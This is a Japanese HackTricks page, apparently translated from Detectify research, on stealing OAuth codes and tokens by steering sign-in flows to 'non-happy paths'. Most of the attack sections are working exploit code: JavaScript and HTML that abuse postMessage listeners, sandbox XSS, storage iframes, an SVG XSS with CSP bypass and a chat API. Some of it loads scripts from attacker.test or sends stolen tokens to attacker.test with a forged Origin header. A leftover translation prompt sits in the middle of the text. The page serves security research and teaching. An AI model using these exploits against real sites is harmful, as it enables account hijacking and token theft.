47 KiB
OAuth - ハッピーパス、XSS、iframe、およびポストメッセージを使用してコードと状態の値を漏洩させる
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはテレグラムグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、PRを hacktricks repo および hacktricks-cloud repo に提出してください。
このコンテンツは https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url から取得されました。
異なるOAuthダンスの説明
レスポンスタイプ
まず、OAuthダンスで使用できる異なるレスポンスタイプがあります。これらのレスポンスは、ユーザーとしてログインするためのトークンまたは必要な情報を付与します。
最も一般的な3つは次のとおりです。
code
+state
。 コードは、OAuthプロバイダーをサーバーサイドで呼び出してトークンを取得するために使用されます。 stateパラメータは、正しいユーザーが呼び出しを行っていることを検証するために使用されます。サーバーサイドの呼び出しを行う前に、OAuthクライアントは状態パラメータを検証する責任があります。id_token
。 OAuthプロバイダーの公開証明書を使用して署名されたJSON Web Token **(JWT)**を使用して、提供されたアイデンティティが実際に主張されているものであることを検証します。token
。 サービスプロバイダーのAPIで使用されるアクセストークンです。
レスポンスモード
OAuthダンスでウェブサイトにコードまたはトークンを提供するために使用できる異なるモードがあります。以下は最も一般的な4つです。
- Query。ウェブサイトにリダイレクトバックするためにクエリパラメータを送信します(
https://example.com/callback?code=xxx&state=xxx
)。code+state
に使用されます。 コードは1回だけ使用でき、コードを使用する場合はOAuthクライアントシークレットが必要です。 - このモードはトークンには推奨されていません。トークンは複数回使用できず、サーバーログなどに保存されるべきではありません。ほとんどのOAuthプロバイダーは、トークンではなくコードに対してこのモードをサポートしていません。例:
- Appleは
response_mode=query
を使用します。 - GoogleまたはFacebookは
response_type=code
を使用します。
- Fragment。フラグメントリダイレクトを使用します(
https://example.com/callback#access_token=xxx
)。このモードでは、URLのフラグメント部分はサーバーログに表示されず、JavaScriptを使用してクライアントサイドでのみアクセスできます。このレスポンスモードはトークンに使用されます。例:
- AppleとMicrosoftは
response_mode=fragment
を使用します。 - Google、Facebook、Atlassianなどは
response_type
にid_token
またはtoken
を含めます。
- Webメッセージ。ウェブサイトの固定されたオリジンにpostMessageを使用します:
postMessage('{"access_token":"xxx"}','https://example.com')
サポートされている場合、さまざまなレスポンスタイプによく使用できます。例:
- Appleは
response_mode=web_message
を使用します。 - Googleは
redirect_uri=storagerelay://...
を使用します。 - Facebookは
redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...
を使用します。
- Form-post。有効な
redirect_uri
にフォームポストを使用し、ウェブサイトに通常のPOSTリクエストを送信します。これはコードとトークンに使用できます。例:
- Appleは
response_mode=form_post
を使用します。 - Google Sign-In(GSI)は
ux_mode=redirect&login_uri=https://example.com/callback
を使用します。
state
を意図的に破壊する
OAuth仕様では、state
パラメータをresponse_type=code
と組み合わせて使用することを推奨しています。これにより、フローを開始したユーザーがOAuthダンス後にコードを使用するユーザーであることが確認されます。
ただし、state
の値が無効な場合、code
は消費されません。なぜなら、最終的なウェブサイトが状態を検証する責任があるからです。つまり、攻撃者が有効なstate
を持つ被害者にログインフローリンクを送信できれば、OAuthダンスは被害者に対して失敗し、code
はOAuthプロバイダーに送信されません。ただし、攻撃者がそれを取得できれば、コードは使用可能です。
- 攻撃者は「Xでサインイン」というウェブサイトでサインインフローを開始します。
- 攻撃者は
state
の値を使用して、被害者がOAuthプロバイダーでサインインするためのリンクを構築しますが、
レスポンスタイプ/レスポンスモードの切り替え
OAuthダンスのレスポンスタイプまたはレスポンスモードを変更すると、コードやトークンがウェブサイトにどのように送信されるかが変わり、予期しない動作が発生することがあります。私はOAuthプロバイダーがウェブサイトがサポートするレスポンスタイプやモードを制限するオプションを持っているのを見たことがありません。そのため、OAuthプロバイダーによっては、ノンハッピーパスに到達するために少なくとも2つ以上のレスポンスタイプを変更できることがよくあります。
また、複数のレスポンスタイプをリクエストすることも可能です。複数のレスポンスタイプがリクエストされた場合に、リダイレクトURIに値を提供する方法が説明されている仕様があります。
もし、リクエストで
response_type
がクエリ文字列内で完全にエンコードされたデータの返却を要求する値のみを含む場合、この複数の値を持つresponse_type
に対するレスポンスの返却データは、クエリ文字列内で完全にエンコードされる必要があります。この推奨事項は、成功およびエラーレスポンスの両方に適用されます。もし、リクエストで
response_type
がフラグメント内で完全にエンコードされたデータの返却を要求する値を含む場合、この複数の値を持つresponse_type
に対するレスポンスの返却データは、フラグメント内で完全にエンコードされる必要があります。この推奨事項は、成功およびエラーレスポンスの両方に適用されます。
この仕様が正しく守られている場合、ウェブサイトにcode
パラメータを送信することができますが、同時にid_token
も要求する場合、code
パラメータはクエリ文字列ではなくフラグメントの一部として送信されます。
Googleのサインインの場合、以下のことを意味します:
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
次に、https://example.com/callback?code=xxx&state=yyy
にリダイレクトされます。しかし、以下のような問題があります:
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
https://example.com/callback#code=xxx&state=yyy&id_token=zzz
にリダイレクトされます。
同じ考え方は、Appleを使用する場合も適用されます。
https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
以下のURLにリダイレクトされます:https://example.com/callback?code=xxx&state=yyy
、ただし:
https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
あなたをhttps://example.com/callback#code=xxx&state=yyy&id_token=zzz
にリダイレクトします。
ハッピーでないパス
研究の著者は、OAuth経由でユーザーがリダイレクトされる間違ったURLへのノンハッピーなパスを呼びました。これは、クライアントにトークンと有効な状態+コードが提供された場合でも、期待されるページに到達しない場合、その情報は適切に消費されないため、攻撃者が「ノンハッピーなパス」からその情報を漏洩する方法を見つけると、アカウントを乗っ取ることができます。
デフォルトでは、OAuthフローは期待されるパスに到達しますが、いくつかの潜在的な設定ミスがあるかもしれません。これにより、攻撃者が特定の初期OAuthリクエストを作成し、ユーザーがログイン後にノンハッピーなパスに到達することができます。
リダイレクトURIの不一致
これらの「一般的な」設定ミスは、OAuth通信のリダイレクトURLで見つかりました。
仕様は厳密に、リダイレクトURLは定義されたURLと厳密に比較されるべきであり、ポートの変更以外の変更は許可されないことを示しています。しかし、一部のエンドポイントでは、いくつかの変更が許可されていました。
リダイレクトURIパスの追加
一部のOAuthプロバイダは、redirect_uri
のパスに追加データを追加することを許可しています。これは、「リダイレクトURIの大文字小文字の変更」と同じように仕様を破っています。例えば、https://example.com/callback
のリダイレクトURIに対して、以下のように送信します:
response_type=id_token&
redirect_uri=https://example.com/callbackxxx
次に、https://example.com/callbackxxx#id_token
へのリダイレクトが行われます。
Redirect-uriパラメータの追加
一部のOAuthプロバイダは、redirect_uri
に追加のクエリまたはフラグメントパラメータを追加することを許可しています。これを利用して、URLに追加される同じパラメータを提供することで、非ハッピーパスをトリガーすることができます。たとえば、https://example.com/callback
のリダイレクトURIを持つ場合、次のように送信します:
response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26
次の場合、リダイレクトはhttps://example.com/callback?code=xxx&code=real-code
になります。ウェブサイトが同じ名前の複数のパラメータを受け取る場合、これは非ハッピーパスをトリガーする可能性もあります。token
とid_token
にも同じことが当てはまります。
response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26
リダイレクトURIの残り物や設定ミス
redirect_uri
値を含むすべてのサインインURLを収集する際に、他のリダイレクトURIの値も有効であるかどうかをテストすることもできます。テストしたウェブサイトの中で保存した125種類の異なるGoogleサインインフローのうち、5つのウェブサイトではスタートページも有効な redirect_uri
として機能していました。例えば、使用されている redirect_uri=https://auth.example.com/callback
の場合、これらの5つのケースでは以下のいずれかも有効でした:
redirect_uri=https://example.com/
redirect_uri=https://example.com
redirect_uri=https://www.example.com/
redirect_uri=https://www.example.com
これは特に id_token
や token
を実際に使用しているウェブサイトにとって興味深いものでした。なぜなら、response_type=code
の場合、OAuthプロバイダーはトークンを取得するOAuthダンスの最後のステップで redirect_uri
を検証するからです。
ガジェット1:弱いまたはオリジンチェックのないURLを漏洩させるpostMessageリスナー
この例では、トークン/コードが送信される最終的な非ハッピーパスで、location.hrefを漏洩させるポストリクエストメッセージが送信されています。
例えば、ウェブサイトにロードされている人気のあるサイトのアナリティクスSDKがありました:
このSDKは、メッセージタイプが一致した場合に以下のメッセージを送信するpostMessageリスナーを公開していました:
異なるオリジンからそれにメッセージを送信すると、
openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/ SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
ウィンドウには、ウェブサイトのlocation.href
を含むメッセージが表示されます。
攻撃に使用できるフローは、コードとトークンがサインインフローでどのように使用されるかに依存しますが、アイデアは次のとおりです。
攻撃
- 攻撃者は、OAuthダンスで非ハッピーパスになるように準備された作成済みのリンクを被害者に送信します。
- 被害者がリンクをクリックします。新しいタブが開き、攻撃対象のウェブサイトのOAuthプロバイダーの1つでサインインフローが表示されます。
- 攻撃対象のウェブサイトで非ハッピーパスがトリガーされ、脆弱なpostMessageリスナーがURL付きのままページに読み込まれます。
- 攻撃者が送信した元のタブは、新しいタブに対して複数のpostMessageを送信し、postMessageリスナーが現在のURLを漏洩させるようにします。
- 攻撃者が送信した元のタブは、それに送信されたメッセージを受信します。URLがメッセージで返ってきたとき、コードとトークンが抽出され、攻撃者に送信されます。
- 攻撃者は、非ハッピーパスに到達したコードまたはトークンを使用して、被害者としてサインインします。
ガジェット2:URLを取得するsandbox/third-partyドメイン上のXSS
ガジェット2:例1、sandbox iframeからwindow.nameを盗む
これは、OAuthダンスが終了したページにiframeが読み込まれているものです。iframeの名前は、window.location
オブジェクトのJSON文字列化バージョンでした。これは、iframe内のページが親によってwindow.name
を設定できる古い方法です。
i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)
iframeに読み込まれたドメインには、単純なXSSもありました:
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
攻撃
もし、あるドメインのウィンドウに XSS がある場合、そのウィンドウは同じオリジンの他のウィンドウにアクセスすることができます。これは、ウィンドウ間に親子/オープナーの関係がある場合に起こります。
これは、攻撃者がXSSを悪用して、クラフトされた OAuthリンクを読み込む新しいタブ を作成することができることを意味します。このリンクは、トークンを名前に持つiframeを読み込むパスで終わる ものです。その後、XSSが悪用されたページから、iframeの名前を読み取ることが可能になります。これは、iframeの親ページにオープナーがあるためです。そして、それを外部に漏洩させることができます。
具体的には以下の手順です:
- 悪意のあるページを作成し、XSSを含むsandboxのiframeを埋め込みます:
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
x=createElement('script'),
x.src='//attacker.test/inject.js',
document.body.appendChild(x);"
style="border:0;width:500px;height:500px"></iframe></div>
- sandboxで読み込まれる私のスクリプトで、被害者に使用するリンクを置き換えます:
document.body.innerHTML =
'<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token</a>';
また、リンクが開かれ、アタッカーのページ上のiframeにアクセスできるようになったかどうかを確認するためのスクリプトも開始しました。これは、アタッカーのページと同じオリジンを持つiframeの window.name
を取得するためです。
x = setInterval(function() {
if(parent.window.b &&
parent.window.b.frames[0] &&
parent.window.b.frames[0].window &&
parent.window.b.frames[0].window.name) {
top.postMessage(parent.window.b.frames[0].window.name, '*');
parent.window.b.close();
clearInterval(x);
}
}, 500);
- 攻撃者のページは、
window.name
として送信したメッセージを受信するだけです:
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
}
});
</script>
ガジェット2: 例2、XSS + 親オリジンチェックを使用したiframe
2番目の例では、XSSを使用したiframeが ハッピーパスではないパス で読み込まれ、postMessageを使用してメッセージが許可されたのはparent
ウィンドウだけでした。initConfig
を要求する際に、location.href
がメッセージとしてiframeに送信されました。
メインウィンドウは、以下のようにiframeを読み込みました:
<iframe src="https://challenge-iframe.example.com/"></iframe>
そして、コンテンツは次のようになりました(実際のものよりもはるかに簡略化されていますが、攻撃をより良く説明するためです):
<script>
window.addEventListener('message', function (e) {
if (e.source !== window.parent) {
// not a valid origin to send messages
return;
}
if (e.data.type === 'loadJs') {
loadScript(e.data.jsUrl);
} else if (e.data.type === 'initConfig') {
loadConfig(e.data.config);
}
});
</script>
攻撃
この場合、攻撃者はPost-message XSS脆弱性ページを含むiframeを読み込み、XSSを悪用して任意のJSを読み込みます。
このJSはOAuthリンクを開きます。ログイン後、最終ページにはURLにトークンが含まれ、iframe(XSS post-message脆弱性iframe)が読み込まれています。
その後、悪用されたXSSからの任意のJSには、そのタブへのオープナーがあり、それによってiframeにアクセスし、親にinitConfig
(トークンを含むURL)を要求します。親ページはそれをiframeに渡し、それをリークするように指示します。
この場合、前の例と同様の方法を取ることができます:
- iframeが読み込まれたときにスクリプトをトリガーするために、マルウェアページにsandboxのiframeを埋め込む。
<div id="leak"><iframe
id="i" name="i"
src="https://challenge-iframe.example.com/"
onload="run()"
style="border:0;width:500px;height:500px"></iframe></div>
- マルウェアページがiframeの親であるため、postMessage(XSS)を使用してiframeにメッセージを送信し、sandboxのオリジンでスクリプトを読み込むようにします。
<script>
function run() {
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
}
</script>
- sandboxで読み込まれるスクリプトでは、コンテンツを被害者のリンクに置き換えます。
document.body.innerHTML = '<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token</a>';
また、リンクが開かれ、アクセスしたいiframeが存在するかどうかを定期的にチェックするスクリプトを開始し、iframeからメインウィンドウに対してJavaScriptを実行するためのpostMessageリスナーをアタッチしました。
x = setInterval(function() {
if(b && b.frames[1]) {
b.frames[1].eval(
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
'top.postMessage({type:'initConfig'},"*")'
)
clearInterval(x)
}
}, 500);
- iframeを読み込んだ攻撃者ページは、メインウィンドウのiframe内の注入されたpostMessageリスナープロキシから送信されたメッセージを受信できます。
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
}
});
</script>
ガジェット3:APIを使用して範囲外のURLを取得する
このガジェットは最も楽しいものでした。被害者をどこかに送り、異なる場所から機密データを取得することは何か満足感があります。
ガジェット3:例1、オリジンチェックのないストレージiframe
最初の例では、トラッキングデータのために外部サービスを使用しました。このサービスは「ストレージiframe」を追加しました:
<iframe
id="tracking"
name="tracking"
src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>
メインウィンドウは、postMessageを使用してこのiframeと通信し、追跡データを送信します。このデータは、storage.html
が配置されているオリジンのlocalStorageに保存されます。
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
メインウィンドウもこのコンテンツを取得できます:
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
初期化時にiframeがロードされると、location.href
を使用してユーザーの最後の位置のためのキーが保存されました。
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
もしもこの元の場所と何らかの方法で通信でき、コンテンツを送信させることができれば、このストレージからlocation.href
を取得することができます。サービスのpostMessageリスナーには、オリジンのブロックリストと許可リストがありました。アナリティクスサービスは、ウェブサイトがどのオリジンを許可または拒否するかを定義することができるようです。
var blockList = [];
var allowList = [];
var syncListeners = [];
window.addEventListener('message', function(e) {
// If there's a blockList, check if origin is there and if so, deny
if (blockList && blockList.indexOf(e.origin) !== -1) {
return;
}
// If there's an allowList, check if origin is there, else deny
if (allowList && allowList.indexOf(e.origin) == -1) {
return;
}
// Only parent can talk to it
if (e.source !== window.parent) {
return;
}
handleMessage(e);
});
function handleMessage(e) {
if (data.type === 'sync') {
syncListeners.push({source: e.source, origin: e.origin})
} else {
...
}
window.addEventListener('storage', function(e) {
for(var i = 0; i < syncListeners.length; i++) {
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
}
}
また、allowList
に基づいた有効なオリジンがある場合、同期を要求することもできます。これにより、このウィンドウで行われたlocalStorageの変更が行われたときに、それらが送信されます。
攻撃
OAuthダンスの非ハッピーパスでこのストレージがロードされたウェブサイトでは、allowList
オリジンが定義されていませんでした。したがって、オリジンがウィンドウのparent
である場合、任意のオリジンがpostMessageリスナーと通信できるようになりました。
- 悪意のあるページを作成し、ストレージコンテナのiframeを埋め込み、iframeの読み込み時にスクリプトをトリガーするonloadをアタッチしました。
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/storage.html"
onload="run()"></iframe></div>
- 悪意のあるページがiframeの親になったため、
allowList
にオリジンが定義されていないため、悪意のあるページはiframeにメッセージを送信してストレージにストレージの更新に関するメッセージを送信することができました。また、悪意のあるページにリスナーを追加して、ストレージからの同期更新を受け取ることもできました。
<script>
function run() {
i.postMessage({type:'sync'}, '*')
}
window.addEventListener('message', function (e) {
if (e.data && e.data.type === 'sync') {
document.getElementById('leak').innerText = 'トークンを盗みました:' + JSON.stringify(e.data);
}
});
</script>
- 悪意のあるページには、被害者がクリックするための通常のリンクも含まれていました。
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
target="_blank">ここをクリックしてトークンを乗っ取る</a>';
- 被害者はリンクをクリックし、OAuthダンスを経て、トラッキングスクリプトとストレージのiframeがロードされた非ハッピーパスに到達します。ストレージのiframeは
last-url
の更新を受け取ります。localStorageが更新されたため、悪意のあるページのiframe内でwindow.storage
イベントがトリガーされ、ストレージが変更されるたびに更新を受け取るようになった悪意のあるページは、被害者の現在のURLを含むpostMessageを受け取ります。
ガジェット3:例2、CDNでの顧客の混乱 - オリジンチェックのないDIYストレージSVG
解析サービス自体にバグバウンティがあったため、ストレージのiframeに適切なオリジンが設定されているウェブサイトでもURLを漏洩させる方法を見つけることに興味がありました。
顧客の部分を除いたcdn.analytics.example.com
ドメインをオンラインで検索し始めたところ、このCDNにはサービスの顧客がアップロードした画像も含まれていることに気付きました。
https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png
私もこのCDNでContent-type: image/svg+xml
としてインラインで提供されているSVGファイルを見つけました。
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
私はサービスのトライアルユーザーとして登録し、自分のアセットをアップロードしました。それはCDNにも表示されました。
https://cdn.analytics.example.com/img/customer94342/tiger.svg
興味深いのは、CDNのために顧客固有のサブドメインを使用した場合でも、画像が提供されることです。このURLは機能しました:
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
これは、ID #94342の顧客が顧客 #12345 のストレージ内のSVGファイルをレンダリングできることを意味します。
私は、単純なXSSペイロードを持つSVGファイルをアップロードしました:
https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>
素晴らしくありません。CDNはimg/
以下のすべてにContent-Security-Policy: default-src 'self'
ヘッダーを追加しました。また、サーバーヘッダーにはS3が言及されており、コンテンツがS3バケットにアップロードされたことが明らかになりました。
S3の興味深い特徴の1つは、ディレクトリが実際にはS3ではないということです。キーの前のパスは「プレフィックス」と呼ばれます。つまり、S3はURLエンコードされているかどうかに関係なく、URL内のすべてのスラッシュをURLエンコードすればコンテンツを提供します。URL内のimg/
をimg%2f
に変更すると、画像は引き続き解決されます。ただし、その場合、CSPヘッダーが削除され、XSSがトリガーされます。
その後、通常のstorage.html
と同じ形式のストレージハンドラーとpostMessageリスナーを作成するSVGをアップロードしましたが、allowList
は空です。これにより、ストレージと通信できる許可されたオリジンを適切に定義しているウェブサイトでも同じ種類の攻撃が可能になりました。
次のようなSVGをアップロードしました:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>
次に、例1と同じ手法を使用できますが、storage.html
をiframe化する代わりに、URLエンコードされたスラッシュを含むSVGをiframe化することができます。
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>
サイト自体はこれを修正することはできないため、代わりにCDNを担当するアナリティクスプロバイダーに報告しました:
サードパーティの設定ミスバグを調査するアイデアは、トークンの漏洩を達成するための複数の方法があることを確認するためでした。サードパーティにはバグバウンティがあったため、これは同じ種類のバグの別の受信者にすぎませんでした。違いは、影響がアナリティクスサービスのすべての顧客に及ぶことです。この場合、サードパーティの顧客はツールを適切に設定してデータを漏洩させないようにする能力を実際に持っていました。ただし、機密データはサードパーティに送信されたため、顧客の適切なツールの設定を完全にバイパスする方法があるかどうかを確認することは興味深いものでした。
ガジェット3:例3、チャットウィジェットAPI
最後の例は、ウェブサイトのすべてのページ、エラーページを含むチャットウィジェットに基づいています。複数のpostMessageリスナーがあり、そのうちの1つは適切なオリジンチェックなしでチャットポップアップを開始することができます。別のリスナーは、チャットウィジェットが初期化呼び出しと現在のユーザーに使用されるチャットAPIトークンを受け取るための厳格なオリジンチェックを持っていました。
<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
if (e.data.type === 'launch-chat') {
openChat();
}
});
function openChat() {
...
}
var chatApiToken;
window.addEventListener('message', function(e) {
if (e.origin === 'https://chat-widget.example.com') {
if (e.data.type === 'chat-widget') {
if (e.data.key === 'api-token') {
chatApiToken = e.data.value;
}
if(e.data.key === 'init') {
chatIsLoaded();
}
}
}
});
function chatIsLoaded() {
...
}
</script>
チャットのiframeが読み込まれた場合:
- チャットウィジェットのlocalStorageにchat-api-tokenが存在する場合、それをapi-tokenとして親ウィンドウにpostMessageで送信します。chat-api-tokenが存在しない場合は何も送信しません。
- iframeが読み込まれたら、
{"type": "chat-widget", "key": "init"}
というpostMessageを親ウィンドウに送信します。
メインウィンドウでチャットアイコンをクリックした場合:
- すでにchat-api-tokenが送信されていない場合、チャットウィジェットは新しいトークンを作成し、自身のオリジンのlocalStorageに保存し、親ウィンドウにpostMessageで送信します。
- 親ウィンドウはチャットサービスにAPIコールを行います。APIエンドポイントは、サービスに設定された特定のウェブサイトに対してCORS制限があります。リクエストを送信するためには、有効な
Origin
ヘッダをAPIコールに提供する必要があります。このヘッダには、chat-api-tokenも含まれます。 - メインウィンドウからのAPIコールには、
location.href
が含まれ、それが訪問者の「現在のページ」としてchat-api-tokenとともに登録されます。レスポンスには、チャットセッションを開始するためのウェブソケットに接続するためのトークンが含まれます。
{
"api_data": {
"current_page": "https://example.com/#access_token=test",
"socket_key": "xxxyyyzzz",
...
}
}
この例では、chat-api-tokenの公開は常にチャットウィジェットiframeの親に公開されることに気付きました。chat-api-tokenを取得した場合、ブラウザに対してのみCORSヘッダが重要であるため、サーバーサイドのリクエストでトークンを使用してサーバーサイドのリクエストを行い、自分自身の人工的なOrigin
ヘッダをAPIコールに追加することができました。これにより、次のチェーンが生成されました:
- チャットウィジェットのiframeを埋め込んだ悪意のあるページを作成し、chat-api-tokenを受け取るためのpostMessageリスナーを追加しました。また、2秒間にapi-tokenを受け取っていない場合にiframeをリロードするイベントをトリガーしました。これは、チャットを開始していない被害者もサポートするためであり、リモートでチャットを開始することができるため、まずはチャットapi-tokenが必要でした。
<div id="leak"><iframe
id="i" name="i"
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
<script>
var gotToken = false;
function reloadToCheck() {
if (gotToken) return;
setTimeout(function() {
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
}, 2000);
}
window.onmessage = function(e) {
if (e.data.key === 'api-token') {
gotToken = true;
lookInApi(e.data.value);
}
}
launchChatWindowByPostMessage();
</script>
- 悪意のあるページにリンクを追加し、URLにトークンが含まれるチャットウィジェットのページを開くためのサインインフローを開きます:
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Click here to hijack token</a>
launchChatWindowByPostMessage()
関数は、メインウィンドウに対して継続的にpostMessageを送信し、チャットウィジェットを起動します:
function launchChatWindowByPostMessage() {
var launch = setInterval(function() {
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
}, 500);
}
- 被害者がリンクをクリックしてエラーページに移動し、チャットが起動し、チャットapi-tokenが作成されます。悪意のあるページ上のチャットウィジェットのiframeのリロードにより、postMessageを介して
api-token
を取得し、その後、被害者の現在のURLをAPIで確認できます:
function lookInApi(token) {
var look = setInterval(function() {
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
if (e &&
e.api_data &&
e.api_data.current_url &&
e.api_data.current_url.indexOf('access_token') !== -1) {
var payload = e.api_data.current_url
document.getElementById('leak').innerHTML = 'Attacker now has the token: ' + payload;
clearInterval(look);
}
});
}, 2000);
}
https://fetch-server-side.attacker.test/?token=xxx
のサーバーサイドページは、追加されたOriginヘッダを使用してAPIコールを行い、Chat-APIが正当なオリジンとして使用していると思わせます:
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function getDataFromChatApi(token) {
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
}
function handleRequest(request) {
const token = request.url.match('token=([^&#]+)')[1] || null;
return token ? getDataFromChatApi(token) : null;
}
- 被害者がリンクをクリックしてOAuthダンスを経てトークンが追加されたエラーページに移動すると、チャットウィジェットが突然表示され、現在のURLが登録され、攻撃者は被害者のアクセストークンを取得します。
URLを漏洩させるための他のアイデア
まだ見つかっていないさまざまなタイプのガジェットが存在します。以下は、利用可能なレスポンスモードを使用してURLを漏洩させる可能性のあるケースの一つです。
任意のpostMessageをオープナーにルーティングするドメイン上のページ
すべてのweb_message
レスポンスタイプは、オリジンのパスを検証できないため、有効なドメイン上の任意のURLはトークンを含むpostMessageを受け取ることができます。ドメイン上のいずれかのページにpostMessageリスナープロキシが存在し、それが送信されたメッセージを受け取り、すべてをopener
に送信する場合、ダブルウィンドウ.openチェーンを作成できます:
攻撃者のページ1:
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
攻撃者のページ2:
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
そして、https://example.com/postmessage-proxy
には次のようなものがあるでしょう:
// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
OAuthプロバイダからトークンをhttps://example.com
の正当なオリジンに送信するために、web_message
-responseモードのいずれかを使用することができますが、エンドポイントはトークンをさらにopener
に送信します。これは攻撃者のページです。
このフローは不可能に思えるかもしれませんし、2回のクリックが必要です。1回目は攻撃者とウェブサイトの間にopener関係を作成し、2回目はOAuthフローを起動し、正当なウェブサイトをOAuthポップアップのopenerとして持つことです。
OAuthプロバイダはトークンを正当なオリジンに送信します:
そして、正当なオリジンにはopenerへのpostMessageプロキシがあります:
これにより、攻撃者がトークンを取得します:
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。